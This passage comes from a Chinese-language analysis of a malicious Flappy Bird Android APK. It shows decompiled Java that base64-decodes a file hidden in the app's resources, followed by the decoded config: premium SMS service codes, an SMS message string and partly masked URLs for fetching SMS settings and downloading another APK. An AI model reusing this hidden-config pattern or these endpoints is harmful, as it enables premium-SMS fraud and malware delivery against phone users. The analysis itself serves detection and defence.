this.have_img = readImage();
this.isFirstTime = FileManager.loadFtime(this, this.ftime);
return;
}
catch (Exception localException)
{
localException.printStackTrace();
}
}
可以看到其功能為讀取文件base64解碼處理。
仔細查看APK文件,在res目錄下有一個drawable-hdpi的目錄,在這個目錄下有一個config文件,為base64編碼的。
解碼config文件:
#!js
{
"sv_code_active": "7740",
"sv_code_active_2": "7740",
"mo_active": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
"bm_name": "Flappy bird",
"header_color": "#1E8CBE",
"background_color": "#F0F0F0",
"font_header_color": "#F0F0F0",
"font_item_color": "#333333",
"number_send": "2",
"type_display": "1",
"include_sdk": "0",
"link_redirect": "http://choi****game.cu****h.mobi",
"items": [
{
"serviceCode": "7740",
"serviceCode2": "7740",
"mo": "BMK BOKMA 2 12d2a43f2c03bbfbaa3a12cc65078143 3934",
"title": "Flappy bird",
"link_icon": "http://cu****h.mobi/upload/bookmark/2014/0208/flappy_1.jpg",
"link": "http://andr****ot.net/app/flappy.apk"
}
],
"url_config_auto_sms": "http://cu****h.mobi/bookmark/getConfigSendSMS",
"url_get_sv_code": "http://cuc****.mobi/bookmark/getServiceCode?price=15000"
}
到此基本都了解到了,進一步看了flappy.apk文件看看具體是做什么的,好像也只是個發送短信扣費的應用。
事實證明,這個Flappy Bird是一個惡意應用,發送付費短信,并會下載其他惡意的應用。
此次檢測用到的工具都是免費的工具可以下載到。
from:enter link description here